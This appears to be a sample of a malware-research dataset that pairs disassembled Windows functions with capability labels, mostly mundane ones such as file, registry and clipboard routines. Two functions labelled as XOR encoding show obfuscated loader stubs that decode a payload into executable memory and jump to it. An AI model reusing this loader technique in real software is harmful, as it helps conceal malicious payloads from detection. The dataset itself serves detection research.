joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x40a60b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x40a61a
pop dword [ebp - 0x44]
mov eax, 0xfa24bab6
sub eax, 0xf9e4149c
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xe763ba2b
sub dword [ebp - 0x54], 0x991174e0
mov dword [ebp - 0x50], 0xc0928349
sub dword [ebp - 0x50], 0x8e5f3704
mov dword [ebp - 0x4c], 0x207594b6
sub dword [ebp - 0x4c], 0xd4295088
mov dword [ebp - 0x48], 0x53de9ed7
add dword [ebp - 0x48], 0xac216129
lea eax, [ebp - 0x54]
push eax
mov eax, sym.imp.kernel32.dll_LoadLibraryA
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0x65b64fde
sub dword [ebp - 0x54], 0xf143e688
mov dword [ebp - 0x50], 0xfd41d80f
add dword [ebp - 0x50], 0x442a8966
mov dword [ebp - 0x4c], 0x6e358483
add dword [ebp - 0x4c], 0xf539e7e9
mov dword [ebp - 0x48], 0x3758cf35
sub dword [ebp - 0x48], 0x3758cf35
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, 0x4f2e4a94
add eax, 0xb11285b8
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x3eeec
push 0
call eax
mov ecx, 0x22b51a83
add ecx, 0xdd4b41bd
xor ebx, ebx
add ebx, eax
mov edi, 0xd154fbaf
sub edi, 0xd1134baf
add edi, dword [ebp - 0x44]
mov edx, 0xaafcc844
sub dword [ebp - 0x38], 0xf0d6c51a
mov esi, dword [edi]
xor esi, edx
add dword [ebp - 0x18], edx
mov dword [ebx], esi
xor dword [ebp - 8], edi
add ebx, 4
add edi, 0xfe9e70f2
add edi, 0x1618f12
loop 0x40a733
add eax, 0xa7b4bf59
add eax, 0x584ca47a
xor ebx, ebx
add ebx, eax
add eax, 0x3f210e75
add eax, 0xc0def190
mov ecx, 0x74076ebe
sub ecx, 0x73c76ebe
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x4011d0
Capabilities:
Delete file
Query environment variable

Disassembly:
sub esp, 0x20c
mov eax, dword [0x43d68c]
xor eax, esp
mov dword [esp + 0x208], eax
cmp byte [0x4534f4], 0
push ebp
mov ebp, dword [esp + 0x214]
push 0x104
lea ecx, [esp + 0x10c]
push ecx
sete al
push str.SYSTEMROOT
mov byte [0x4534f4], al
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x401257
push esi
push edi
mov ecx, 0xc
mov esi, str.Could_not_resolve_SYSTEMROOT_environment_variable
mov edi, 0x4524c0
rep movsd dword es:[edi], dword [esi]
push 0x10
push 0x4346e4
push 0x4524c0
push ebp
movsw word es:[edi], word [esi]
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.004126a4
add esp, 0x20c
ret
push 0x4345ac
lea edx, [esp + 0x10c]
push edx
lea eax, [esp + 0xc]
push str._sSystem32Drivers_s
push eax
call fcn.004124f2
add esp, 0x10
cmp byte [0x4534f4], 0
je 0x401368
mov eax, dword [0x440bf4]
test eax, eax
je 0x401290
push 0
call eax
cmp dword [0x44a8a8], 0
mov eax, str.RCDBGSYS64
jne 0x4012a3
mov eax, str.RCDBGSYS
lea ecx, [esp + 4]
push ecx
push eax
call fcn.0040a600
add esp, 8
test al, al
jne 0x4012e5
push 0x10
push 0x4346e4
push str.Could_not_install_DebugView_driver.
push ebp
call dword [sym.imp.USER32.dll_MessageBoxA]
mov byte [0x4534f4], 0
pop ebp
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.004126a4
add esp, 0x20c
ret
mov eax, dword [0x440bf4]
test eax, eax
je 0x4012f2
push 1
call eax
mov edx, dword [esp + 0x218]
push edx
call fcn.00401000
add esp, 4
test al, al
jne 0x401341
push 0x10
push 0x4346e4
push str.Could_not_configure_DebugView_boot_log_Registry_key.
push ebp
call dword [sym.imp.USER32.dll_MessageBoxA]
lea eax, [esp + 4]
push eax
mov byte [0x4534f4], 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop ebp
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.004126a4
add esp, 0x20c
ret
push str.DebugView_has_been_configured_to_buffer_kernel_debug_output_at_the_next_boot.
push 0x4524c0
call fcn.004124f2
add esp, 8
push 0x40
push 0x4346e4
push 0x4524c0
push ebp
call dword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x40137d
push 0
call fcn.00401000
add esp, 4
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
movzx edx, byte [0x4534f4]
neg edx
sbb edx, edx
and edx, 8
push edx
push 0x9c78
push ebp
call dword [sym.imp.USER32.dll_GetMenu]
push eax
call dword [sym.imp.USER32.dll_CheckMenuItem]
mov ecx, dword [esp + 0x20c]
pop ebp
xor ecx, esp
call fcn.004126a4
add esp, 0x20c
ret
Function at 0x405890
Capabilities:
Get common file path

Disassembly:
sub esp, 0x28
push esi
lea eax, [esp + 4]
push eax
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
mov eax, dword [esp + 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
push 0x104
push eax
call edx
mov esi, eax
test esi, esi
jne 0x4058bd
xor al, al
pop esi
add esp, 0x28
ret
push edi
mov edi, dword [esp + 0x34]
lea eax, [esp + 0xc]
push eax
push 0x12
push edi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x40599e
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
push ecx
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], esi
mov dword [esp + 0x20], str.Select_Remote_Computer
mov dword [esp + 0x24], 0x1000
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 0
call dword [sym.imp.SHELL32.dll_SHBrowseForFolderA]
test eax, eax
je 0x40598d
push ebp
mov ebp, dword [esp + 0x3c]
mov edi, ebp
mov ecx, esi
sub edi, esi
mov dl, byte [ecx]
mov byte [edi + ecx], dl
inc ecx
test dl, dl
jne 0x405922
mov ecx, dword [esp + 0xc]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 0x14]
push ecx
call eax
mov eax, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x14]
call eax
mov eax, dword [esp + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x14]
push esi
push eax
call edx
push 0x450e00
push ebp
call fcn.00413a23
add esp, 8
pop ebp
test eax, eax
jne 0x405985
push 0x10
push 0x4346e4
push str.The_local_computer_cannot_be_selected_for_remote_monitoring.
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
pop edi
xor al, al
pop esi
add esp, 0x28
ret
pop edi
mov al, 1
pop esi
add esp, 0x28
ret
mov eax, dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, dword [eax]
push edx
push eax
mov eax, dword [ecx + 0x14]
call eax
mov eax, dword [esp + 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x14]
push esi
push eax
call edx
pop edi
xor al, al
pop esi
add esp, 0x28
ret
Function at 0x409130
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
push ebp
push esi
push edi
xor edi, edi
cmp dword [esp + 0x20], edi
jbe 0x4091c2
mov esi, dword [esp + 0x24]
mov ebp, dword [esp + 0x1c]
mov ebx, dword [esp + 0x18]
lea ecx, [ecx]
mov eax, dword [esi + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [esp + 0x20]
sub eax, edi
cmp eax, 0x1f4
jb 0x40916c
mov eax, 0x1f4
push esi
lea ecx, [esp + 0x14]
push ecx
push eax
lea edx, [edi + ebp]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x4091b8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
jne 0x4091ca
mov eax, dword [esi + 0x10]
push 0xbb8
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp eax, 0x102
je 0x4091ca
push 1
lea ecx, [esp + 0x14]
push ecx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetOverlappedResult]
test eax, eax
je 0x4091ca
add edi, dword [esp + 0x10]
cmp edi, dword [esp + 0x20]
jb 0x409150
pop edi
pop esi
pop ebp
mov al, 1
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
xor al, al
pop ebx
pop ecx
ret

Function at 0x40a600
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov eax, dword [esp + 4]
push esi
push 0x436100
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
jne 0x40a61d
xor al, al
pop esi
ret
push ebx
push edi
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x4360fc
push ecx
mov edi, eax
call fcn.00413387
mov esi, eax
add esp, 8
test esi, esi
jne 0x40a65c
pop edi
pop ebx
xor al, al
pop esi
ret
push esi
push ebx
push 1
push edi
call fcn.004146d0
push esi
call fcn.00412f6d
add esp, 0x14
pop edi
pop ebx
mov al, 1
pop esi
ret
Function at 0x40d2c0
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
mov eax, 0x2070
call fcn.00412900
mov eax, dword [0x43d68c]
xor eax, esp
mov dword [esp + 0x206c], eax
mov eax, dword [0x449850]
push ebx
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
push ebp
push esi
mov esi, dword [esp + 0x2080]
push 2
push 0xffffffffffffffff
push 0x100c
push eax
call ebx
mov ebp, eax
cmp ebp, 0xffffffff
je 0x40d4a5
mov eax, dword [0x449850]
lea edx, [esp + 0x10]
push edx
push ebp
push 0x102d
lea ecx, [esp + 0x44]
push eax
mov dword [esp + 0x28], 2
mov dword [esp + 0x38], 0x1020
mov dword [esp + 0x34], ecx
call ebx
lea eax, [esp + 0x38]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x40d334
mov cx, word [0x438908]
mov dl, byte [0x43890a]
mov word [eax], cx
push esi
mov byte [eax + 2], dl
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40d4a5
call dword [sym.imp.USER32.dll_EmptyClipboard]
lea eax, [esp + 0x38]
lea edx, [eax + 1]
jmp 0x40d370
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40d370
sub eax, edx
push edi
inc eax
push eax
push 0x2002
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
push edi
lea esi, [esp + 0x40]
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov cl, byte [esi]
mov byte [eax], cl
inc esi
inc eax
test cl, cl
jne 0x40d398
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov eax, dword [0x449850]
push 2
push ebp
push 0x100c
push eax
call ebx
mov ebp, eax
cmp ebp, 0xffffffff
je 0x40d495
jmp 0x40d3d6
mov ebx, dword [sym.imp.USER32.dll_SendMessageA]
mov eax, dword [0x449850]
lea edx, [esp + 0x14]
push edx
push ebp
push 0x102d
lea ecx, [esp + 0x48]
push eax
mov dword [esp + 0x2c], 2
mov dword [esp + 0x3c], 0x2040
mov dword [esp + 0x38], ecx
call ebx
lea eax, [esp + 0x3c]
dec eax
mov cl, byte [eax + 1]
inc eax
test cl, cl
jne 0x40d406
mov cx, word [0x438908]
mov dl, byte [0x43890a]
mov word [eax], cx
mov byte [eax + 2], dl
lea eax, [esp + 0x3c]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40d428
mov ecx, dword [esp + 0x10]
sub eax, edx
push 0
lea ebx, [eax + ecx]
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GlobalReAlloc]
mov edi, eax
push edi
lea esi, [esp + 0x40]
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov edx, dword [esp + 0x10]
lea eax, [eax + edx - 1]
mov ecx, esi
sub eax, ecx
jmp 0x40d460
mov cl, byte [esi]
mov byte [eax + esi], cl
inc esi
test cl, cl
jne 0x40d460
push edi
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov edx, dword [0x449850]
push 2
push ebp
push 0x100c
push edx
mov dword [esp + 0x20], ebx
call dword [sym.imp.USER32.dll_SendMessageA]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x40d3d0
push edi
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
call dword [sym.imp.USER32.dll_CloseClipboard]
pop edi
mov ecx, dword [esp + 0x2078]
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004126a4
add esp, 0x2070
ret
Function at 0x2a30e3b1
Capabilities:
Terminate thread

Disassembly:
push 0xc
mov eax, 0x2a3549f2
call fcn.2a30266e
mov ebx, ecx
xor ecx, ecx
cmp dword [ebx], 0xb
mov edi, ecx
mov dword [ebp - 0x14], edi
jne 0x2a30e4a2
push 0xea60
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
or dword [ebx + 0x1a0], 0xffffffff
push 1
push dword [ebx + 0x2d4]
call dword [sym.imp.kernel32.dll_SetThreadPriority]
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
call dword [sym.imp.kernel32.dll_GetTickCount]
shr eax, 4
lea esi, [eax + 0x12c]
call dword [sym.imp.kernel32.dll_GetTickCount]
shr eax, 4
cmp eax, esi
jae 0x2a30e45b
mov edi, esi
push 0xea60
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
push dword [ebx + 0x2d8]
mov esi, dword [ebx]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
cmp esi, 0xb
jne 0x2a30e458
push 0x64
call dword [sym.imp.kernel32.dll_Sleep]
call dword [sym.imp.kernel32.dll_GetTickCount]
shr eax, 4
cmp eax, edi
jb 0x2a30e41f
mov edi, dword [ebp - 0x14]
push 0xea60
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_WaitForSingleObject]
cmp dword [ebx], 0xb
jne 0x2a30e482
push 1
push dword [ebx + 0x2d4]
call dword [sym.imp.kernel32.dll_TerminateThread]
xor edi, edi
inc edi
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_ReleaseMutex]
push dword [ebx + 0x2d8]
call dword [sym.imp.kernel32.dll_CloseHandle]
xor ecx, ecx
mov dword [ebx + 0x2d8], ecx
cmp dword [ebx + 0x18], 0
lea esi, [ebx + 0x1a0]
mov dword [esi], ecx
je 0x2a30e4d7
test di, di
jne 0x2a30e4d4
push esi
push dword [ebx + 0x18]
call fcn.2a345d3b
xor ecx, ecx
cmp dword [esi], ecx
jne 0x2a30e4d7
push esi
push dword [ebx + 0x14]
mov dword [ebx + 0x18], ecx
call fcn.2a345d3b
xor ecx, ecx
jmp 0x2a30e4d7
mov dword [ebx + 0x18], ecx
cmp word [ebx + 0x144], cx
je 0x2a30e55e
push ecx
push ecx
lea ecx, [ebp - 0x18]
call fcn.2a345d3b
mov edi, dword [0x2a36db18]
xor eax, eax
push eax
mov dword [ebp - 4], eax
lea eax, [ebx + 0x40]
push eax
mov eax, dword [0x2a36db04]
push str.Cstring
mov esi, dword [eax + 0x14]
mov ecx, esi
call dword [str.Pv0]
call esi
mov esi, dword [edi + 0xd0]
pop ecx
movzx eax, ax
mov ecx, esi
push eax
push 0
call dword [str.Pv0]
call esi
add esp, 0x10
lea ecx, [ebp - 0x18]
push 0
push eax
call fcn.2a345d3b
cmp dword [ebp - 0x14], 0
je 0x2a30e550
lea ecx, [ebp - 0x18]
call fcn.2a345d3b
test al, al
je 0x2a30e550
lea ecx, [ebp - 0x18]
call fcn.2a33f665
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.2a345d3b
xor ecx, ecx
cmp dword [ebx + 0x34], 0
je 0x2a30e582
mov eax, dword [0x2a36d7bc]
push dword [ebx + 0x34]
mov esi, dword [eax + 0x284]
mov ecx, esi
call dword [str.Pv0]
call esi
pop ecx
xor ecx, ecx
mov dword [ebx + 0x34], ecx
mov eax, dword [ebx + 0x20]
test eax, eax
je 0x2a30e5b6
push eax
mov eax, dword [0x2a36dabc]
cmp word [ebx + 0x196], cx
je 0x2a30e5a0
mov esi, dword [eax + 0x124]
jmp 0x2a30e5a6
mov esi, dword [eax + 0x11c]
mov ecx, esi
call dword [str.Pv0]
call esi
xor eax, eax
pop ecx
mov dword [ebx + 0x20], eax
mov dword [ebx], 2
call fcn.2a302b96
ret
Function at 0x2a32d61e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x428
mov eax, 0x2a35670e
call fcn.2a3041d5
mov edx, dword [ebp + 0xc]
xor ebx, ebx
mov eax, dword [ebp + 8]
mov esi, ebx
mov dword [ebp - 0x42c], edx
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x41c], eax
mov dword [ebp - 0x428], edx
mov dword [ebp - 0x424], esi
mov dword [ebp - 4], ebx
mov dword [ebp - 0x430], ecx
mov dword [ebp - 0x434], ebx
mov dword [ebp - 0x418], ebx
mov byte [ebp - 4], 1
test eax, eax
je 0x2a32d83f
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcslen]
inc eax
push 2
push eax
mov dword [ebp - 0x420], eax
lea eax, [ebp - 0x420]
push eax
call fcn.2a345d3b
add esp, 0x10
test eax, eax
js 0x2a32d839
mov edi, dword [ebp - 0x420]
cmp edi, 0x400
jg 0x2a32d6c2
push edi
call fcn.2a32eb0c
pop ecx
test al, al
je 0x2a32d6c2
mov eax, edi
call fcn.2a3534e0
mov dword [ebp - 0x10], esp
mov eax, esp
jmp 0x2a32d6d4
push edi
lea ecx, [ebp - 0x424]
call fcn.2a345d3b
mov esi, dword [ebp - 0x424]
push 3
push edi
push dword [ebp - 0x41c]
push eax
call fcn.2a345d3b
mov dword [ebp - 0x41c], eax
test eax, eax
je 0x2a32d839
push 0x60
push ebx
push eax
call fcn.2a32edc8
mov edi, eax
mov dword [ebp - 0x420], edi
test edi, edi
jne 0x2a32d72c
push 2
push ebx
push dword [ebp - 0x41c]
call fcn.2a32edc8
mov edi, eax
mov dword [ebp - 0x420], eax
test edi, edi
jne 0x2a32d72c
call fcn.2a32be19
mov ebx, eax
jmp 0x2a32d808
push dword [ebp - 0x428]
push dword [ebp - 0x42c]
push edi
call dword [sym.imp.kernel32.dll_FindResourceA]
mov dword [ebp - 0x42c], eax
test eax, eax
jne 0x2a32d753
call fcn.2a32be19
jmp 0x2a32d7fb
push eax
push edi
call dword [sym.imp.kernel32.dll_LoadResource]
mov dword [ebp - 0x428], eax
test eax, eax
je 0x2a32d749
push dword [ebp - 0x42c]
push edi
call dword [sym.imp.kernel32.dll_SizeofResource]
mov dword [ebp - 0x41c], eax
lea ecx, [eax + 1]
cmp ecx, eax
jae 0x2a32d786
mov ebx, 0x8007000e
jmp 0x2a32d7fd
push ecx
lea ecx, [ebp - 0x418]
mov byte [ebp - 4], 2
call fcn.2a345d3b
jmp 0x2a32d7ac
cmp dword [ebp - 0x418], 0
mov dword [ebp - 4], 1
je 0x2a32d77f
mov eax, dword [ebp - 0x41c]
push eax
push dword [ebp - 0x428]
push eax
push dword [ebp - 0x418]
call fcn.2a345d3b
mov eax, dword [ebp - 0x418]
add esp, 0x10
mov ecx, dword [ebp - 0x41c]
push dword [ebp + 0x14]
mov byte [eax + ecx], bl
lea ecx, [ebp - 0x434]
push dword [ebp - 0x418]
call fcn.2a345d3b
mov ebx, eax
test edi, edi
je 0x2a32d808
push edi
call dword [sym.imp.kernel32.dll_FreeLibrary]
lea eax, [ebp - 0x414]
cmp dword [ebp - 0x418], eax
je 0x2a32d821
lea ecx, [ebp - 0x418]
call fcn.2a32c4ed
or dword [ebp - 4], 0xffffffff
jmp 0x2a32d831
push esi
mov esi, dword [esi]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
jne 0x2a32d827
mov eax, ebx
jmp 0x2a32d86d
mov ebx, dword [ebp - 0x418]
lea eax, [ebp - 0x414]
cmp ebx, eax
je 0x2a32d854
lea ecx, [ebp - 0x418]
call fcn.2a32c4ed
or dword [ebp - 4], 0xffffffff
jmp 0x2a32d864
push esi
mov esi, dword [esi]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
test esi, esi
jne 0x2a32d85a
mov eax, 0x8007000e
lea esp, [ebp - 0x444]
call fcn.2a30420f
ret 0x10
Function at 0x2a345d3b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x2a345d4a
pop dword [ebp - 0x28]
mov eax, 0x2a345d4a
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xa52a7afd
add dword [ebp - 0x38], 0xa927ca4e
mov dword [ebp - 0x34], 0xff6e3af6
add dword [ebp - 0x34], 0x32c5114f
mov dword [ebp - 0x30], 0x42e12b29
add dword [ebp - 0x30], 0x96b1905
mov dword [ebp - 0x2c], 0x38eb9c64
sub dword [ebp - 0x2c], 0x38eb9c64
lea eax, [ebp - 0x38]
push eax
mov eax, 0xae4b69fb
add eax, 0x7bea3689
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0x42fe87b7
add dword [ebp - 0x38], 0x3173e19f
mov dword [ebp - 0x34], 0x60251df
add dword [ebp - 0x34], 0x3b6a0f96
mov dword [ebp - 0x30], 0x8cd60e3d
add dword [ebp - 0x30], 0xd6995e2f
mov dword [ebp - 0x2c], 0x5671991b
sub dword [ebp - 0x2c], 0x5671991b
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x4afe9
push 0
call eax
mov ecx, 0xcd4f67ac
sub ecx, 0xcd4f1e1b
xor edi, edi
add edi, eax
mov esi, 0x2a381600
add esi, dword [ebp - 0x28]
mov ebx, 0x7a84a89e
xor dword [ebp - 0x24], 0x26959c40
mov edx, dword [esi]
sub dword [ebp - 0x14], 0xd891c471
xor edx, ebx
add dword [ebp - 0xc], ecx
mov dword [edi], edx
add dword [ebp - 4], 0x76d89c79
add edi, 4
add esi, 0xbba139b9
sub esi, 0xbba139b5
loop 0x2a345e58
add eax, 0x99e7f243
sub eax, 0x99e6d92c
mov ebx, eax
add eax, 5
mov ecx, 0x601ea158
sub ecx, 0x35eea158
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x4013e0
Capabilities:
Access the windows event log

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2008
call fcn.00419860
mov eax, dword [0x42500c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
lea eax, [ebp + 0x10]
push eax
push 0
push dword [ebp + 0xc]
lea eax, [ebp - 0x2004]
push 0x1000
push eax
call fcn.00401080
mov ecx, dword [eax]
push dword [eax + 4]
or ecx, 1
push ecx
call fcn.0040d619
add esp, 0x1c
lea eax, [ebp - 0x2004]
xor edi, edi
mov dword [ebp - 0x2008], eax
push 0x4209e0
push edi
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
mov esi, eax
test esi, esi
je 0x401465
push edi
lea eax, [ebp - 0x2008]
push eax
push edi
push 1
push edi
push edi
push edi
push dword [ebp + 8]
push esi
call dword [sym.imp.ADVAPI32.dll_ReportEventW]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_DeregisterEventSource]
mov ecx, dword [ebp - 4]
test edi, edi
pop edi
setne al
xor ecx, ebp
pop esi
call fcn.00408f33
mov esp, ebp
pop ebp
ret

Function at 0x401680
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x401699
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4016d6
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 8]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x4016d2
nop word [eax + eax]
cmp esi, edx
jae 0x4016d6
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x4016c0
cmp esi, edx
jb 0x4016dd
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
xor eax, eax
cmp word [esi], ax
cmove esi, eax
mov eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x401830
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 0x10]
test edi, edi
je 0x4018c9
mov esi, dword [ebp + 8]
lea eax, [ebp + 0x10]
push edi
push esi
push eax
push 0
push dword [ebp + 0xc]
mov dword [ebp + 0x10], 0
push dword [ecx]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, eax
test edx, edx
jne 0x4018c1
test esi, esi
je 0x4018c1
mov ecx, dword [edi]
test ecx, ecx
je 0x4018bc
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x4018ac
cmp eax, 2
jbe 0x40189d
cmp eax, 7
jne 0x4018ac
test cl, 1
jne 0x4018ac
shr ecx, 1
cmp ecx, 1
jb 0x4018ac
cmp word [esi + ecx*2 - 2], dx
jne 0x4018ac
cmp ecx, 1
jbe 0x4018c1
cmp word [esi + ecx*2 - 4], dx
jmp 0x4018aa
test cl, 1
jne 0x4018ac
shr ecx, 1
cmp word [esi + ecx*2 - 2], 0
je 0x4018c1
xor eax, eax
mov word [esi], ax
mov eax, 0xd
pop edi
pop esi
pop ebp
ret 0xc
xor eax, eax
mov word [esi], ax
pop edi
mov eax, edx
pop esi
pop ebp
ret 0xc
push 0x80004005
call fcn.00401520
int3
Function at 0x402ba0
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41a1ee
mov eax, dword fs:[0]
push eax
sub esp, 0xa0
mov eax, dword [0x42500c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [ebp + 8]
mov dword [ebp - 0xa8], 0
mov byte [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 2
mov dword [ebp - 0xac], vtable.ATL::CDacl.0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x90], 0
lea ecx, [ebp - 0x70]
mov dword [ebp - 4], 0
call fcn.00401c90
sub esp, 8
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xac]
push eax
call fcn.00401f30
lea ecx, [ebp - 0x70]
mov byte [ebp - 4], 0
call fcn.00401ae0
lea ecx, [ebp - 0x70]
call fcn.00401c60
sub esp, 8
mov byte [ebp - 4], 2
lea ecx, [ebp - 0xac]
push eax
call fcn.00401f30
lea ecx, [ebp - 0x70]
call fcn.00401ae0
mov dword [ebp - 0x78], vtable.ATL::CSecurityDesc.0
mov dword [ebp - 0x74], 0
push ecx
lea eax, [ebp - 0xac]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x78]
call fcn.004024d0
mov dword [ebp - 0x80], vtable.ATL::CSecurityDesc.0
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 4
call fcn.00402820
mov eax, dword [ebp - 0x74]
test eax, eax
je 0x402cda
push eax
lea ecx, [ebp - 0x80]
call fcn.00402900
mov eax, dword [ebp - 0x7c]
push esi
mov dword [ebp - 0x8c], 0xc
mov dword [ebp - 0x88], eax
mov dword [ebp - 0x84], 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [edi + 4]
lea eax, [ebp - 0x8c]
test ecx, ecx
je 0x402d1d
sub esp, 8
push 1
push eax
push 0
push 4
push esi
call fcn.00401790
jmp 0x402d32
push 0
push 0x80
push 1
push eax
push 0
push 4
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x402d40
call fcn.00401770
mov esi, eax
jmp 0x402d44
mov dword [edi], eax
xor esi, esi
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x80], vtable.ATL::CSecurityDesc.0
call fcn.00402820
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x78], vtable.ATL::CSecurityDesc.0
call fcn.00402820
lea ecx, [ebp - 0xac]
call fcn.00401eb0
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00408f33
mov esp, ebp
pop ebp
ret 4